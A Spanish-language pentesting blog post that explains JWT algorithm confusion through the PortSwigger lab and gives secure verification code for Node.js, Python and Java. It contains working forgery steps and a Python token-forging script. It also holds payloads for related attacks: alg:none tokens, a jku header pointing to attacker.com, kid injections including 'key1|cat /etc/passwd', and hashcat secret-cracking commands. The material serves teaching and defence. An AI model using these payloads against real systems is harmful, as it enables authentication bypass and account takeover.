JWT Algorithm Confusion Attack: Laboratorio Completo de PortSwigger
Tu API acepta JWTs. Pero, ¿acepta los correctos?
En 2024-2025 se han reportado 6 CVEs críticos relacionados con JWT. El más reciente, CVE-2024-54150, demuestra que incluso bibliotecas "maduras" siguen siendo vulnerables a un ataque que tiene más de una década: Algorithm Confusion.
Un atacante no necesita tu clave privada. Solo necesita tu clave pública.
Y esa, probablemente ya la tiene.
Introducción: ¿Qué es un JWT?
JSON Web Token (JWT) es un estándar abierto (RFC 7519) para transmitir información de forma segura entre partes como un objeto JSON. Se utiliza principalmente para autenticación y autorización en aplicaciones web modernas, especialmente en arquitecturas de microservicios y APIs REST.
Un JWT está compuesto por tres partes separadas por puntos:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4iLCJhZG1pbiI6ZmFsc2V9.signature...
Las Tres Partes del JWT
- Header (Encabezado): Contiene metadatos sobre el token, principalmente el tipo de token y el algoritmo de firma.
{
"alg": "RS256",
"typ": "JWT"
}
- Payload (Carga útil): Contiene los claims (declaraciones) sobre el usuario u otra información.
{
"sub": "1234567890",
"name": "John Doe",
"admin": false,
"iat": 1516239022
}
- Signature (Firma): Garantiza que el token no ha sido alterado. Se crea firmando el header y payload codificados.
El campo alg del header es crítico porque indica al servidor qué algoritmo debe usar para verificar la firma. Y ahí es exactamente donde comienza nuestro problema.
¿Qué es JWT Algorithm Confusion?
JWT Algorithm Confusion es una vulnerabilidad crítica que permite a un atacante falsificar tokens JWT válidos al cambiar el algoritmo de firma de RS256 (asimétrico) a HS256 (simétrico), utilizando la clave pública del servidor como secret HMAC. Esto bypasea la autenticación sin conocer la clave privada.
Esta vulnerabilidad existe desde 2015 y continúa apareciendo en nuevas implementaciones. Según el análisis de Akamai sobre amenazas a JWT, representa uno de los vectores de ataque más peligrosos en sistemas de autenticación modernos.
Diferencia entre RS256 y HS256
La confusión surge por la diferencia fundamental entre algoritmos simétricos y asimétricos:
| Característica | HS256 (Simétrico) | RS256 (Asimétrico) |
|---|---|---|
| Tipo | HMAC con SHA-256 | RSA con SHA-256 |
| Claves | Una sola (secret) | Pública + Privada |
| Firma | Secret compartido | Clave privada |
| Verificación | Mismo secret | Clave pública |
| Seguridad | Depende del secret | Más seguro (2 claves) |
| Uso común | APIs simples | Microservicios, OAuth |
Por Qué Ocurre la Vulnerabilidad
El problema surge cuando:
- El servidor está configurado para usar RS256 (clave pública para verificar, clave privada para firmar)
- La biblioteca JWT acepta el algoritmo especificado en el header del token sin validación
- El atacante cambia el algoritmo a HS256 en el header
- El servidor pasa la misma clave pública al método
verify()de la biblioteca - La biblioteca, ahora esperando HMAC, usa la clave pública como secret simétrico
Según PortSwigger Web Security Academy:
"La vulnerabilidad surge cuando los desarrolladores asumen que las bibliotecas JWT manejarán exclusivamente tokens firmados con algoritmos asimétricos como RS256 y siempre pasan una clave pública fija al método de verificación. Si el servidor recibe un token firmado con un algoritmo simétrico como HS256, el método genérico
verify()de la biblioteca tratará la clave pública como un secreto HMAC."
Cómo Funciona el Ataque JWT Algorithm Confusion
El flujo del ataque es elegantemente simple:
Paso 1: Obtén la clave pública del servidor
- Generalmente disponible en
/.well-known/jwks.jsono/jwks.json - En sistemas OAuth/OIDC, es pública por diseño
- Puede extraerse de certificados SSL/TLS en algunos casos
Paso 2: Decodifica el JWT original y modifica el payload
- Obtén un token válido (login normal)
- Decodifica con Base64 (no está encriptado)
- Modifica claims: cambiar rol a "admin", escalar privilegios, etc.
Paso 3: Cambia el header del algoritmo de "RS256" a "HS256"
- Header original:
{"alg": "RS256", "typ": "JWT"} - Header modificado:
{"alg": "HS256", "typ": "JWT"}
Paso 4: Firma el token modificado usando la clave pública como secret HMAC
- Usa la clave pública RSA como si fuera un secret HMAC
- Calcula:
HMAC-SHA256(header.payload, clave_pública)
Paso 5: Envía el JWT falsificado al servidor
- El servidor lee
alg: HS256del header - Verifica usando la clave pública como secret HMAC
- La verificación es exitosa
- El atacante ahora tiene acceso no autorizado
Por Qué Funciona el Ataque
El error lógico es sutil pero devastador:
// VULNERABLE - Código simplificado
function verificarToken(token, clavePublica) {
const header = decodificar(token.header);
const algoritmo = header.alg; // ¡Confía en input del cliente!
// La biblioteca usa el algoritmo especificado en el header
return jwt.verify(token, clavePublica, { algorithm: algoritmo });
}
El servidor:
- Confía en el campo
algproporcionado por el cliente - No valida que el algoritmo sea el esperado
- Usa la misma clave (pública) sin verificar el tipo de algoritmo
- La biblioteca JWT hace lo que se le pide: verificar con HMAC usando esa clave
Resultado: Un token falsificado pasa la verificación de firma.
Laboratorio PortSwigger: JWT Authentication Bypass
Vamos a explotar esta vulnerabilidad paso a paso usando el laboratorio oficial de PortSwigger.
Contexto del Laboratorio
El escenario del lab simula una aplicación web real con:
- JWTs firmados con RS256 para autenticación
- Clave pública expuesta mediante endpoint
/jwks.json - Backend vulnerable que acepta tokens con HS256 sin validar
- Objetivo: Acceder como usuario "administrator" y eliminar la cuenta de "carlos"
Esta configuración es más común de lo que parece. Muchas implementaciones exponen sus claves públicas para permitir verificación distribuida (OAuth, microservicios), pero no validan correctamente el algoritmo usado.
Walkthrough Paso a Paso
1. Login y Captura del Token Original
Primero, inicia sesión como usuario normal (wiener:peter) y captura el JWT:
POST /login HTTP/2
Host: vulnerable-website.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
username=wiener&password=peter
La respuesta incluye una cookie de sesión:
Set-Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3MzQ0NTYwMDB9.signature...
2. Análisis del JWT con JWT.io
Decodifica el token en jwt.io o usando Burp Suite JWT Editor:
Header decodificado:
{
"alg": "RS256",
"typ": "JWT"
}
Payload decodificado:
{
"sub": "wiener",
"exp": 1734456000
}
Nota que el usuario es "wiener". Necesitamos cambiarlo a "administrator".
3. Obtención del JWK Set (/jwks.json)
Accede al endpoint JWKS para obtener la clave pública:
GET /jwks.json HTTP/2
Host: vulnerable-website.web-security-academy.net
Respuesta:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "12345",
"alg": "RS256",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx..."
}
]
}
Esta clave pública JWK debe convertirse a formato PEM para usarla como secret HMAC.
4. Modificación y Firma del Token
Usando jwt_tool (herramienta recomendada):
# Opción 1: Exploit automatizado
python3 jwt_tool.py <JWT_ORIGINAL> -X k -pk public_key.pem
# Opción 2: Modo interactivo para modificar payload
python3 jwt_tool.py <JWT_ORIGINAL> -T
# Selecciona: Tamper with payload
# Cambia "sub": "wiener" a "sub": "administrator"
# Luego ejecuta: -X k -pk public_key.pem
Si prefieres hacerlo manualmente con Python:
import jwt
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# Lee la clave pública PEM
with open('public_key.pem', 'rb') as f:
clave_publica = f.read()
# Crea el payload modificado
payload = {
"sub": "administrator",
"exp": 1734560000
}
# Firma con HS256 usando la clave pública como secret
token_falsificado = jwt.encode(
payload,
clave_publica, # ¡Clave pública usada como secret!
algorithm='HS256'
)
print(token_falsificado)
5. Explotación Exitosa
Envía una petición al panel de administración con el token falsificado:
GET /admin HTTP/2
Host: vulnerable-website.web-security-academy.net
Cookie: session=<TOKEN_FALSIFICADO>
Si todo funciona correctamente, obtendrás acceso al panel de administración y podrás eliminar la cuenta de carlos:
GET /admin/delete?username=carlos HTTP/2
Cookie: session=<TOKEN_FALSIFICADO>
Lab resuelto.
Solución Alternativa con Burp Suite JWT Editor
Si usas Burp Suite Professional con la extensión JWT Editor:
- Instala JWT Editor desde BApp Store
- Captura el request con el JWT original
- En la pestaña "JSON Web Token", carga la clave pública JWK
- Cambia
algde "RS256" a "HS256" - Modifica
subde "wiener" a "administrator" - Selecciona "Sign" → "Symmetric Key" → usa la clave pública RSA
- Forward el request modificado
Casos Reales y CVEs Relacionados
Esta vulnerabilidad no es teórica. Ha afectado a aplicaciones reales con consecuencias severas.
CVE-2024-54150: cjwt (C Library)
En diciembre de 2024, se descubrió una vulnerabilidad de algorithm confusion en la biblioteca cjwt de Xmidt. Según PentesterLab:
"Algorithm confusion ocurre cuando un sistema falla en verificar apropiadamente el tipo de firma usada en un JWT, permitiendo a un atacante explotar la distinción insuficiente entre diferentes métodos de firma."
Impacto: Bypass completo de autenticación en plataformas cloud que usaban esta biblioteca.
CVE-2023-48238: json-web-token (Node.js)
| Campo | Valor |
|---|---|
| CVSS Score | 7.5 (HIGH) |
| CWE | CWE-345 (Insufficient Verification of Data Authenticity) |
| Versiones Afectadas | < 3.1.1 |
| Descargas semanales | 2M+ |
Según el National Vulnerability Database:
"La vulnerabilidad existe en la línea 86 del archivo 'index.js', donde el algoritmo a usar para verificar la firma del token JWT se toma del propio token JWT, que en ese punto aún no está verificado y por lo tanto no debería ser confiable."
Código vulnerable:
// Línea 86 - VULNERABLE
const algorithm = decodedHeader.alg; // ¡No validado!
verify(token, secret, { algorithm });
Impacto de Negocio Real
Según el IBM Cost of Data Breach Report 2024:
- Costo promedio de un breach: $4.88 millones USD
- Tiempo promedio de detección (credenciales comprometidas): 292 días
- 16% de los ataques involucran credenciales robadas o bypass de autenticación
Según Verizon DBIR 2024:
- 77% de ataques a aplicaciones web involucran credenciales comprometidas
- Bypass de autenticación clasifica como P1 (Critical) en programas de bug bounty
Caso de Estudio: Auth0 Security Incident
En un incidente de seguridad reportado por Stytch, Auth0 experimentó una vulnerabilidad relacionada con validación incorrecta de JWT:
"El problema surgió cuando la Authentication API no validó adecuadamente el JWT del usuario - los atacantes podían forjar un JWT para cualquier usuario creando un JWT con algoritmo 'none' (alg: none) y sin firma, y la API de Auth0 validaba erróneamente estos tokens forjados como legítimos."
Consecuencias:
- Bypass de autenticación multi-factor (MFA)
- Registro de factores secundarios en dispositivos del atacante
- Acceso completo sin autenticación en aplicaciones dependientes
Cómo Prevenir JWT Algorithm Confusion
La buena noticia: la solución es más simple que el ataque.
Checklist de Prevención para Developers
- Forzar algoritmo específico en configuración del servidor (no confiar en header del JWT)
- Usar whitelist de algoritmos permitidos explícitamente
- Deshabilitar algoritmo "none" completamente en producción
- Actualizar bibliotecas JWT a versiones seguras (posteriores a CVE-2022-21449)
- Validar tipo de clave antes de verificar (asimétrica vs simétrica)
- Implementar testing automatizado contra algorithm confusion
- Realizar pentests periódicos de APIs con autenticación JWT
1. Configuración Segura en Node.js
const jwt = require('jsonwebtoken');
// VULNERABLE - NO HACER
const payload = jwt.verify(token, publicKey); // ❌ Sin especificar algoritmo
// SEGURO - Especificar algoritmos permitidos
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // ✅ Whitelist explícita
audience: 'https://mi-api.com',
issuer: 'https://mi-issuer.com',
ignoreExpiration: false,
ignoreNotBefore: false
});
Configuración completa recomendada:
const jwtConfig = {
// Solo permitir RS256
algorithms: ['RS256'],
// Validar claims críticos
audience: process.env.JWT_AUDIENCE,
issuer: process.env.JWT_ISSUER,
// No ignorar expiración
ignoreExpiration: false,
ignoreNotBefore: false,
// Cero tolerancia de reloj
clockTolerance: 0
};
// Verificación con manejo de errores
try {
const decoded = jwt.verify(token, publicKey, jwtConfig);
// Token válido, proceder
} catch (error) {
if (error instanceof jwt.TokenExpiredError) {
return res.status(401).json({ error: 'Token expirado' });
} else if (error instanceof jwt.JsonWebTokenError) {
return res.status(401).json({ error: 'Token inválido o algoritmo no permitido' });
}
return res.status(500).json({ error: 'Error de verificación' });
}
2. Configuración Segura en Python
import jwt
from jwt import (
ExpiredSignatureError,
InvalidSignatureError,
InvalidAlgorithmError
)
# VULNERABLE - NO HACER
payload = jwt.decode(token, public_key) # ❌ Sin algoritmo
# SEGURO - Especificar algoritmos permitidos
try:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"], # ✅ Whitelist explícita
audience="https://mi-api.com",
issuer="https://mi-issuer.com",
options={
"verify_signature": True,
"verify_exp": True,
"verify_nbf": True,
"verify_iat": True,
"verify_aud": True,
"verify_iss": True,
"require": ["exp", "iat", "nbf", "sub"]
}
)
except ExpiredSignatureError:
return {"error": "Token expirado"}, 401
except InvalidSignatureError:
return {"error": "Firma inválida"}, 401
except InvalidAlgorithmError:
return {"error": "Algoritmo no permitido"}, 403
except Exception as e:
return {"error": "Token inválido"}, 400
3. Configuración Segura en Java
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
// Configuración segura con jjwt
JwtParser parser = Jwts.parserBuilder()
.setSigningKey(publicKey)
.setAllowedClockSkewSeconds(0)
.requireAudience("https://mi-api.com")
.requireIssuer("https://mi-issuer.com")
// jjwt valida el algoritmo automáticamente con la clave
.build();
try {
Claims claims = parser.parseClaimsJws(token).getBody();
// Token válido
} catch (ExpiredJwtException e) {
// Token expirado
} catch (SignatureException e) {
// Firma inválida
} catch (MalformedJwtException e) {
// Token malformado
}
4. Nunca Confiar en el Campo "alg" del Header
El principio fundamental es simple:
Nunca confiar en parámetros controlados por el cliente para decisiones de seguridad.
El campo alg es parte del JWT, que el cliente envía. Cualquier input del cliente debe considerarse hostil hasta que se demuestre lo contrario.
5. Separar Correctamente Claves Públicas y Secretos
Mala práctica:
// ❌ Usar la misma variable para todos los algoritmos
const key = process.env.JWT_KEY;
jwt.verify(token, key); // ¿Pública? ¿Secret? No está claro
Buena práctica:
// ✅ Variables separadas según algoritmo
const RSA_PUBLIC_KEY = fs.readFileSync('./keys/rsa_public.pem');
const RSA_PRIVATE_KEY = fs.readFileSync('./keys/rsa_private.pem');
// Para firmar (solo backend)
const token = jwt.sign(payload, RSA_PRIVATE_KEY, { algorithm: 'RS256' });
// Para verificar
const decoded = jwt.verify(token, RSA_PUBLIC_KEY, { algorithms: ['RS256'] });
6. Usar Bibliotecas JWT Modernas y Configurarlas Correctamente
Bibliotecas recomendadas (actualizadas 2025):
- Node.js:
jsonwebtoken>= 9.0.0 - Python:
PyJWT>= 2.8.0 - Java:
jjwt>= 0.12.0 - Go:
golang-jwt/jwt>= 5.0.0 - Ruby:
ruby-jwt>= 2.7.0
Todas las versiones modernas requieren especificar algoritmos explícitamente, pero la configuración por defecto aún puede ser insegura.
Otras Vulnerabilidades JWT Relacionadas
JWT Algorithm Confusion es parte de una familia más amplia de vulnerabilidades de autenticación.
Ataque de Algoritmo "none"
Algunas bibliotecas JWT soportan un algoritmo especial llamado none, que indica que el token no tiene firma.
Header modificado:
{
"alg": "none",
"typ": "JWT"
}
Token final:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
Nota el punto final sin firma. Si el servidor no valida correctamente, aceptará el token sin verificar firma.
Variantes de bypass:
"alg": "None""alg": "NONE""alg": "nOnE"
JKU Header Injection
El header jku (JWK Set URL) indica dónde obtener la clave pública:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/malicious-jwks.json"
}
Si el servidor confía en este campo, descargará la clave del atacante.
JWK Header Injection
Similar a JKU, pero la clave se embebe directamente:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"n": "clave_controlada_por_atacante..."
}
}
Kid (Key ID) Injection
El header kid identifica qué clave usar para verificación. Puede explotarse mediante:
Path Traversal:
{
"kid": "../../dev/null"
}
SQL Injection:
{
"kid": "key1' UNION SELECT 'secret_del_atacante';--"
}
Command Injection:
{
"kid": "key1|cat /etc/passwd"
}
Herramientas para Testing de JWT Security
jwt_tool (Recomendado)
La herramienta más completa para testing de JWT:
# Instalación
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
# Decodificar y analizar token
python3 jwt_tool.py <JWT>
# Modo interactivo de tampering
python3 jwt_tool.py <JWT> -T
# Exploits automatizados
python3 jwt_tool.py <JWT> -X a # alg:none attack
python3 jwt_tool.py <JWT> -X n # null signature
python3 jwt_tool.py <JWT> -X k -pk key.pem # key confusion
python3 jwt_tool.py <JWT> -X s # JWKS spoofing
# Escaneo completo
python3 jwt_tool.py -M at \
-t "https://api.target.com/endpoint" \
-rh "Authorization: Bearer <JWT>"
# Fuerza bruta de secretos HMAC
python3 jwt_tool.py <JWT> -C -d wordlist.txt
Burp Suite JWT Editor
Extensión oficial de PortSwigger para manipular JWT:
- Instala desde BApp Store en Burp Suite
- Intercepta requests con JWT
- Pestaña "JSON Web Token" aparece automáticamente
- Modifica header, payload y firma interactivamente
- Importa claves para firmar tokens
Hashcat para Cracking de Secrets
Si el JWT usa HS256 con secret débil:
# Extraer hash del JWT
echo -n "<JWT>" > jwt.txt
# Crackear con wordlist
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# Usar rockyou.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
John the Ripper
Alternativa a Hashcat:
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
Conclusión: Por Qué Deberías Preocuparte por JWT Security
JWT no es inseguro por diseño. El problema son las implementaciones incorrectas.
La lección clave de Algorithm Confusion es clara y aplicable a toda la seguridad de aplicaciones:
Nunca confiar en parámetros controlados por el cliente para decisiones de seguridad.
El campo alg del header JWT es input del usuario. Permitir que dicte cómo se verifica la seguridad es equivalente a permitir que un usuario diga "confía en mí, soy administrador" sin verificar.
¿Tu Aplicación es Vulnerable?
Hazte estas preguntas:
- ¿Especificas explícitamente qué algoritmos están permitidos al verificar JWT?
- ¿Usas bibliotecas JWT actualizadas con configuración segura?
- ¿Validas claims críticos (iss, aud, exp)?
- ¿Cuándo fue la última vez que un pentester auditó tu autenticación?
Si alguna respuesta es "no" o "no estoy seguro", es hora de actuar.
Tu Siguiente Paso
Este post te dio el conocimiento. Pero implementar seguridad correctamente requiere más que conocimiento, requiere validación externa.
Dos preguntas:
- ¿Estás 100% seguro de que tu validación JWT es correcta?
- ¿Cuándo fue la última vez que alguien externo lo verificó?
En Pentacode, auditamos APIs y sistemas de autenticación de startups en LATAM. No vendemos miedo, vendemos certeza.
Oferta específica:
- Revisión de implementación JWT incluida en toda auditoría
- Tiempo: 7-10 días para auditoría completa de API
- Entregable: Reporte con vulnerabilidades, código seguro y pasos de remediación
Agenda una consulta de 30 minutos (gratis)
No esperes a que un atacante encuentre lo que tu equipo pasó por alto.
Recursos Adicionales
Si quieres profundizar más en seguridad de APIs y autenticación:
- Guía completa de seguridad para desarrolladores - Implementa prácticas esenciales de seguridad
- Cómo preparar tu API para un pentest - Checklist completo para auditorías exitosas
- OWASP Top 10 explicado para startups - A07:2021 cubre Authentication Failures
- Vulnerabilidades comunes en aplicaciones modernas - Descubre qué más encuentro en cada pentest
Referencias
- PortSwigger: Algorithm confusion attacks
- PortSwigger: JWT authentication bypass lab
- OWASP: Testing JSON Web Tokens
- MITRE CWE-347: Improper Verification of Cryptographic Signature
- Auth0: Critical vulnerabilities in JSON Web Token libraries
- IBM Cost of Data Breach Report 2024
- Verizon DBIR 2024
Sobre el Autor
Juan Camilo Palacio Alvarez es el fundador de Pentacode, consultora especializada en pentesting y desarrollo seguro para startups en LATAM. Con experiencia auditando sistemas de autenticación y APIs, ayuda a equipos de desarrollo a identificar y corregir vulnerabilidades críticas antes de que sean explotadas.